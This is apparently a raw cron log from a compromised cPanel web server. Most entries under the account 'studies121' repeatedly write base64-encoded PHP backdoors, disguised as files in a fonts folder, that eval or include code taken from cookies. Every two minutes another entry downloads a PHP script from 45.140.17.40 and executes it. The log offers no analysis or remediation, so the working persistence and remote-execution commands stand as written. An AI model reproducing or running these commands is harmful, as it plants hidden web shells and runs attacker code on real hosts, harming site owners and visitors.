Sep  1 01:22:01 ip-184-168-122-23 CROND[25484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:22:01 ip-184-168-122-23 CROND[25482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:22:01 ip-184-168-122-23 CROND[25481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:23:01 ip-184-168-122-23 CROND[25574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:23:01 ip-184-168-122-23 CROND[25575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:23:01 ip-184-168-122-23 CROND[25576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:23:01 ip-184-168-122-23 CROND[25578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:24:01 ip-184-168-122-23 CROND[25668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:24:01 ip-184-168-122-23 CROND[25670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:24:01 ip-184-168-122-23 CROND[25671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:24:01 ip-184-168-122-23 CROND[25672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:24:01 ip-184-168-122-23 CROND[25674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:25:02 ip-184-168-122-23 CROND[25769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:25:02 ip-184-168-122-23 CROND[25771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:25:02 ip-184-168-122-23 CROND[25774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:25:02 ip-184-168-122-23 CROND[25775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:25:02 ip-184-168-122-23 CROND[25773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:25:02 ip-184-168-122-23 CROND[25772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:26:02 ip-184-168-122-23 CROND[25893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:26:02 ip-184-168-122-23 CROND[25897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:26:02 ip-184-168-122-23 CROND[25899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:26:02 ip-184-168-122-23 CROND[25898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:26:02 ip-184-168-122-23 CROND[25900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:27:01 ip-184-168-122-23 CROND[26096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:27:01 ip-184-168-122-23 CROND[26098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:27:01 ip-184-168-122-23 CROND[26099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:27:01 ip-184-168-122-23 CROND[26100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:28:01 ip-184-168-122-23 CROND[26188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:28:01 ip-184-168-122-23 CROND[26193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:28:01 ip-184-168-122-23 CROND[26191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:28:01 ip-184-168-122-23 CROND[26190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:28:01 ip-184-168-122-23 CROND[26192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:29:01 ip-184-168-122-23 CROND[26316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:29:01 ip-184-168-122-23 CROND[26317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:29:01 ip-184-168-122-23 CROND[26315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:29:01 ip-184-168-122-23 CROND[26318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:30:01 ip-184-168-122-23 CROND[26438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:30:01 ip-184-168-122-23 CROND[26441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:30:01 ip-184-168-122-23 CROND[26443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:30:01 ip-184-168-122-23 CROND[26446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:30:01 ip-184-168-122-23 CROND[26444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:30:01 ip-184-168-122-23 CROND[26447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:30:01 ip-184-168-122-23 CROND[26449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:30:01 ip-184-168-122-23 CROND[26448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:31:02 ip-184-168-122-23 CROND[26557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:31:02 ip-184-168-122-23 CROND[26560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:31:02 ip-184-168-122-23 CROND[26561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:31:02 ip-184-168-122-23 CROND[26559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:31:02 ip-184-168-122-23 CROND[26562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:32:01 ip-184-168-122-23 CROND[26657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:32:01 ip-184-168-122-23 CROND[26659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:32:01 ip-184-168-122-23 CROND[26660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:32:01 ip-184-168-122-23 CROND[26661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:32:01 ip-184-168-122-23 CROND[26662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:33:01 ip-184-168-122-23 CROND[26847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:33:01 ip-184-168-122-23 CROND[26850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:33:01 ip-184-168-122-23 CROND[26849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:33:01 ip-184-168-122-23 CROND[26851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:34:01 ip-184-168-122-23 CROND[26939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:34:01 ip-184-168-122-23 CROND[26940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:34:01 ip-184-168-122-23 CROND[26941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:34:01 ip-184-168-122-23 CROND[26943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
